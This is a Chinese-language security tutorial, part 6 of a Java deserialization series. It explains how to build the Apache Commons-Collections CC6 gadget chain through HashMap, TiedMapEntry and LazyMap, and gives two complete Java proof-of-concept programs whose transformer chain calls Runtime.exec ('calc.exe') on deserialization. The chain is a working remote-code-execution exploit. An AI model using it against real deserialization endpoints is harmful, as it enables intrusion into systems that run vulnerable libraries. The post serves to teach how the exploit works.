跳转至
#java  #java安全  #反序列化 
本文阅读量 

反序列化篇6#

CC6#

反序列化篇5提到了CC1链在java8高版本并不适用,当我们去尝试,会产生报错:java.lang.annotation.Retention missing element entrySet

这是由于AnnotationInvocationHandler在高版本中改变了readObject的逻辑,不再使用我们精心构造的LazyMap而是使用自己新建的LinkedHashMap,导致该对象无法获得entrySet的内容,所以会报前面的这个错误。

为了解决高版本的利用问题,我们需要重新构造链的前半部分,寻找是否有其他地方能够调用LazyMap.get()方法。

找到的地方是org.apache.commons.collections.keyvalue.TiedMapEntry,在其getValue方法中调⽤了this.map.get,而其hashCodetoStringequals方法都调用了自身的getValue方法。

import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable { 
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map; private final Object key;
    public TiedMapEntry(Map map, Object key) { 
        this.map = map; this.key = key;
    }
    public Object getKey() { 
        return this.key;
   }
    public Object getValue() { 
        return this.map.get(this.key);
    }
    // ...
    public int hashCode() { 
    Object value = this.getValue();
    return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^(value == null ? 0 : value.hashCode());
    }
// ... 
}

在ysoserial中,是利用了java.util.HashSet.readObject()->HashMap.put()->HashMap.hash(key) ->TiedMapEntry.hashCode()
而实际上,在java.util.HashMap.readObject()就有hash(key)的操作,我们可以利用此来构造gadget。

构造gadget#

构造的时候使用了一些技巧,先创建了一个fakeTransformers,在序列化的前一刻才将其替换为真正的Transformers,这样能够防止我们在生成poc时的本地命令执行。

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        // 先使用fakeTransformer防止本地命令执行
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

        Map objMap = new HashMap();
        objMap.put(tiedMapEntry, "valuevalue");

        // 使用反射替换transformerChain的transformers
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(objMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

当我们执行这段代码的时候,发现反序列化时并没有弹出来计算器! 这是为什么呢?

为什么没有成功执行#

我们尝试在LazyMap.get方法中下一个断点调试一下,发现问题:

我们在构造gadget的时候就触发了LazyMap.get方法,导致LazyMap的假利用链被提前触发,而当我们真正想要去反序列化时,LazyMap已经存在keykey这个键,导致我们无法进入this.factory.transfrom这个语句触发我们真正的利用链,但是我们并没有去手动调用LazyMap.get,为什么这个方法会触发呢?

我们回顾源码,只有在TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");这句话中存在keykey,当我们去查看HashMap.put方法时,我们发现了罪魁祸首:

当我们构造gadget时会将TiedMapEntry手动put到HashMap,导致其触发了hash(key)->TiedMapEntry.hashCode()->TiedMapEntry.getValue()提前触发了我们的链,并且将该key存入了outerMap,下次我们真正利用时由于outerMap已经存在该key而导致利用链失败!

了解了原因之后我们就很好解决该问题了: 在objMap.put之后调用outerMap.remove删除该key即可。

最终poc#

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"}),
                new ConstantTransformer(1),
        };

        // 先使用fakeTransformer防止本地命令执行
        Transformer transformerChain = new ChainedTransformer(fakeTransformers);

        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");

        Map objMap = new HashMap();
        objMap.put(tiedMapEntry, "valuevalue");
        outerMap.remove("keykey");

        // 使用反射替换transformerChain的transformers
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);

        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(objMap);
        oos.close();

        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object) ois.readObject();
    }
}

总结#

整条链的调用逻辑为:

HashMap.readObject()
  hash(key) === key.hashCode() === TiedMapEntry.hashCode()
    TiedMapEntry.getValue()
      LazyMap.get()
         ChainedTransformer.transform()
          ConstantTransformer.transform() // 获取Runtime.class
          InvokerTransformer.transform()   // 获取Runtime.getRuntime
          InvokerTransformer.transform()   // 获取Runtime实例
          InvokerTransformer.transform()   // 调用exec方法触发rce

回到页面顶部